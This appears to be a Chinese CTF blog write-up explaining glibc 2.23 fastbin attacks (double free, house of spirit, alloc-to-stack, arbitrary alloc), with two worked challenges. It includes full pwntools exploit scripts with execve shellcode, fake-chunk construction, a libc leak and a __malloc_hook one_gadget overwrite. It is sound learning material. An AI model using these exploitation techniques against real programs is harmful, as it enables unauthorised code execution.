fastbin_attack

这里的版本是2.23的glibc

double free

double free就是在一个函数中重复free了一个chunk

假设有这样的函数

1
2
3
4
5
6
7
*p1=malloc(0x10) ; //chunk1
*p2=malloc(0x10);
*p3=malloc(0x10);

free(p1);
free(p2);
free(p3);

这个时候fastbin中的指针会是这个样子

fastbin[20]–>chunk3—>chunk2—->chunk1

这个时候如果我们这样

1
2
3
4
5
6
*p1=malloc(0x10) ; //chunk1
*p2=malloc(0x10); //chunk2

free(p1);
free(p2);
free(p1);

fastbin[20]–>chunk1—>chunk2<—-chunk1

这个时候molloc(0x10)

改写chunk1中的fd的地址使其指到bss段

这样

fastbin[20]–>chunk2—>chunk1—>bss

连续malloc三次就可以得到一个可读可写的heap段

house of spirit

这个利用手段就是通过溢出等手段,直接free一个地址(没有被malloc)自己伪造的堆块,后面在molloc回来,这样,你就获得了那块位置的读写权,如果你伪造的地址处放着rbp,就可以放system /binsh\x00了

伪造堆块的检查条件有几个

1.fake_chunk的ISMMAP的位置不能是1,不然系统就会认为这个heap是mmap的chunk导致一些错误

2.地址要对齐,如XXX0,XXXX8(64位)

3.fake_chunk的大小有限制

伪造 fake_chunk 时,大小必须是 2 * SIZE_SZ 的倍数。如果申请的内存大小不是 2 * SIZE_SZ 的整数倍,会自动调整为最小的符合要求的倍数。32 位系统中,SIZE_SZ 为 4,64 位系统中为 8。chunk 大小最大不能超过 av->system_mem(128KB)。

为了确保伪造的 chunk 能挂在 fastbin 中,next_chunk 的大小通常设置为略大于 fastbin 最大值,但小于 128KB。这样在 chunk 释放时,伪造的 chunk 会插入 fastbin,随后可以通过再次分配相同大小的块来控制伪造的 chunk

例题:lctf2016_pwn200

2-0

保护全关

2-3

第一个函数,也就是who are u?这里存在off by one的漏洞,可以通过溢出倒是v2把后面的地址泄露出来

2-1

2-2

这里可以看到会泄露出0x7ffc3777ed10这个地址

2-4

这里我们打印出来了泄露的地址的,因为我们写入的地址在栈上同样可以看见,我们直接计算这两地址之间的偏移(0x7ffed1ee3160-0x7ffed1ee3110),从而直接得到我们输入位置的地址(后面直接在开始的地址写入shellcode),之后方便直接调用

2-5

2-6

这里buf有个溢出,可以溢出到dest处

从而可以直接决定ptr这个变量的内容(free函数是free这个变量)

这个就是我们house of spirit漏洞的核心点

接下来我们要伪造堆块了

我们先要看give me your id ~~?”后面的值在哪

2-7

这里选择输入123泄露位置

2-8

这里可以看到我们输入的bbbbbbbbcccccccc

看到123(0x7b)的位置在0x7ffdd80a3638处(可以控制)

而我们的溢出点替换掉dest的点在0x7ffdd80a3608处(伪造chunkd的地址)

2-10

图片来源

上面这张图片里面0x40前面我们可以控制,0x70处我们同样可以控制,可以在这里伪造一个fake_chunk,为了让0x70处就是next_chunk的previse_size(绕过检查),我们伪造的chunk大小应该是0x41就刚刚好

因此伪造chunk的地址是0x30处,经过gdb调试时rbp-0x90

2-11

在free后面,我们可以看到,我们本来的chunk没有被free掉,但是此时fastbin里面有地址,就是我们伪造的chunk

free掉后我们在把chunk malloc回来

这样我们就可以改写这个堆块了

2-12

这里看到read在buf处

在函数结束后的rbp是buf+0x10

2-13

所以我们的返回地址应该是buf+0x18处,也就是前面写好的shellcode的位置

2-14

最后放上这个题目的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
context(log_level='debug',os='linux',arch='amd64')
p=process('./pwn')
#p=remote('node5.buuoj.cn',27147)
def debug():
gdb.attach(p)
pause()

debug()

sh=b'\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05'
payload=sh+ (0x30- len(sh))*b'a'

p.sendafter(b'u?',payload)
p.recvuntil(payload)
rbp=u64(p.recv(6).ljust(8,b'\0'))
buf_addr=rbp-0x50
print(hex(rbp))
print(hex(buf_addr))

fake_addr=rbp-0x90
fake_chunk=p64(0)*5+p64(0x41)+p64(0)
fake_chunk+=p64(fake_addr)


#fake_chunk=b'b'*0x10+b'c'*0x18+b'd'*8

p.sendlineafter(b'give me your id ~~?',b'40')
p.sendafter(b'give me money~',fake_chunk)

p.recvuntil('choice : ')
p.sendline('2')

pause()

p.recvuntil('choice')
p.sendline('1')
p.sendlineafter(b'how long?',b'50')
payload=b'a'*0x18+p64(buf_addr)

p.sendlineafter(b'50\n',payload)

p.sendlineafter(b'our choice :',b'3')


p.interactive()

Alloc_to_stack

这个漏洞就是在改写chunk的fd指针为想要的地址,从而达到想要地址伪造堆块,从而改写rbp等….

拿wiki上面的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include<stdio.h>
#include<stdlib.h>

typedef struct _chunk
{
long long pre_size;
long long size;
long long fd;
long long bk;
} CHUNK,*PCHUNK;

int main(void)
{
CHUNK stack_chunk;

void *chunk1;
void *chunk_a;

stack_chunk.size=0x21;
chunk1=malloc(0x10);

free(chunk1);

*(long long *)chunk1=&stack_chunk;
malloc(0x10);
chunk_a=malloc(0x10);
printf("%p",chunk_a);
return 0;
}

gcc test.c -o test -O0 -g -z execstack -z norelro -fno-stack-protector -no-pie

3-1

这里断在free前面,可以看到申请了一个chunk

3-2

free掉之后,被放到了fastbin里面去

接着改写了chunk1的fd指针

3-3

可以看到fd指针改变后,fastbin里面的链表也发生了变化

接着连续malloc两个chunk

3-4

可以看到我们输入的fd处成功成为了一个堆块

Arbitrary Alloc

这个的利用方法和前面的的alloc_to_stack一样,就是把stack的地址改成了其他段的地址,然后通过改变指定的函数地址获得shell

例题:0ctf_2017_babyheap

4-1

保护全开(这我打个鸡毛啊

4-2

菜单

4-3

其他的函数挺正常的,这里在修改的位置没有限制修改的长度,存在堆溢出漏洞

我们先创建6个堆快

1
2
3
4
5
6
allo(0x10)
allo(0x10)
allo(0x10)
allo(0x10)
allo(0x80)
allo(0x70)

4-4

前四个用来溢出

第五个用来泄露main_arena的地址

第六个用来防止chunk之间的合并

先释放第三个堆块,再释放第二个堆快

1
2
3
free(2)

free(1)

4-5

这里看到bin中的链表

我们通过chunk0进行堆溢出,使chunk1->chunk5

1
2
3
payload=p64(0)*3+p64(0x21)+p8(0x80)
pause()
fill(0,len(payload),payload)

4-6

我们再把chun5的size改为0x20,不让接下来无法把重新申请回来

1
2
3
payload1=b'a'*0x10+p64(0)+p64(0x21)
pause()
fill(3,len(payload1),payload1)
1
2
3
allo(0x10)

allo(0x10)

4-7

我们要找到这些堆快的返回地址储存再哪

vmmap看一下

4-8

第一个段有异常,硬找

4-9

4-10

找到了

4-11

两边进行对照,发现chunk2的返回地址被改写成了我们chunk4的

改回chunk4的大小,并释放

1
2
3
4
5
payload1=b'a'*0x10+p64(0)+p64(0x91)
pause()
fill(3,len(payload1),payload1)

free(4)

4-12

这是,虽然我们chunk4的地址被释放了,不能使用,但是我们chunk2 也是指向我们chunk4地址的

利用题目的打印函数,获得泄露的地址

1
2
3
4
5
6
7
8
9
10
dump(2)

leak_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print(hex((leak_addr)))

unsorted_offset_addr=unsorted_offset_arena(5)
print(hex(int(unsorted_offset_addr)))
libc_base=leak_addr-unsorted_offset_addr-0x3c4b20

print(hex(int(libc_base)))

4-13

利用main_arena里面unsortedbin的偏移使固定的,找到这里的地址和main_arena的差,再利用main_arena与libc基址有个固定的差值,计算得到libc的基址

申请回unsortedbin 并改成fatsbin的大小后释放,使其进入fastbin的链表

1
2
allo(0x60)
free(4)

接着我们要找一个可以伪造chunk的地址

4-14

因为我们的目的是改掉malloc这里的地址,所以我们要在这个附近找到一个可以改写这个地址的chunk

我们使用find_fake_fast这个工具来找(find_fake_fast+被写入地址+chunk大小)

4-15

找到了,并且计算偏移

1
2
3
print(hex(int(libc_base+0x3c4aed)))

payload=p64(int(libc_base+0x3c4aed))#0x3c4aed

因为chunk2是指向chunk4的地址的,我们通过这里改写chunk4的fd地址,使我们伪造的chunk进入fastbin中

1
fill(2,len(payload),payload)

申请两个chunk,使我们可以利用伪造的chunk

4-16

可以看到我们chunk6的位置是 我们伪造的chunk

4-17

通过计算偏移,讲malloc的位置写入one_gadget

最后随便malloc触发one_gadget

1
2
3
4
5
6
7
gadgets=int(libc_base+0x4526a)
payload =b'a'*0x13 + p64(gadgets)

fill(6, len(payload), payload)

allo(255)
p.interacti

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
from pwn import *
#context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context(log_level='debug')
#p=remote('node5.buuoj.cn',25676)
p=process('./babyheap')
def debug():
gdb.attach(p)
pause()

def allo(size):
p.recvuntil(b'Command:')
p.sendline(b'1')
p.sendlineafter(b'Size:',str(size))

def fill(index,size,content):
p.recvuntil(b'Command:')
p.sendline(b'2')
p.sendlineafter(b'Index:',str(index))
p.sendlineafter(b'Size:',str(size))
p.sendafter(b'Content:',content)

def free(index):
p.recvuntil(b'Command:')
p.sendline(b'3')
p.sendlineafter(b'Index:',str(index))

def dump(index):
p.recvuntil(b'Command:')
p.sendline(b'4')
p.sendlineafter(b'Index:',str(index))
p.recvuntil(b'Content:')

def exit():
p.recvuntil(b'Command: \n')
p.sendline(b'5')

def unsorted_offset_arena(idx):
word_bytes = context.word_size / 8
offset = 4 # lock
offset += 4 # flags
offset += word_bytes * 10 # offset fastbin
offset += word_bytes * 2 # top,last_remainder
offset += idx * 2 * word_bytes # idx
offset -= word_bytes * 2 # bin overlap
return offset


allo(0x10)
allo(0x10)
allo(0x10)
allo(0x10)
allo(0x80)
allo(0x70)
debug()
free(2)

free(1)

payload=p64(0)*3+p64(0x21)+p8(0x80)
pause()
fill(0,len(payload),payload)

payload1=b'a'*0x10+p64(0)+p64(0x21)
pause()
fill(3,len(payload1),payload1)

allo(0x10)

allo(0x10)

payload1=b'a'*0x10+p64(0)+p64(0x91)
pause()
fill(3,len(payload1),payload1)

free(4)

dump(2)
pause()
leak_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print(hex((leak_addr)))

unsorted_offset_addr=unsorted_offset_arena(5)
print(hex(int(unsorted_offset_addr)))
libc_base=leak_addr-unsorted_offset_addr-0x3c4b20

print(hex(int(libc_base)))

pause()
allo(0x60)
free(4)
print(hex(int(libc_base+0x3c4aed)))

payload=p64(int(libc_base+0x3c4aed))#0x3c4aed

fill(2,len(payload),payload)

allo(0x60)
allo(0x60)

pause()
gadgets=int(libc_base+0x4526a)
payload =b'a'*0x13 + p64(gadgets)

fill(6, len(payload), payload)

allo(255)
p.interactive()

参考的大佬的博客

好好说话之Fastbin Attack(2):House Of Spirit_fastbin attack house of spirit-CSDN博客

好好说话之Fastbin Attack(3):Alloc to Stack_large bin attack-CSDN博客

好好说话之Fastbin Attack(4):Arbitrary Alloc_好好说话 ctf-CSDN博客

lctf2016_pwn200 堆利用 - syscallwww - 博客园 (cnblogs.com)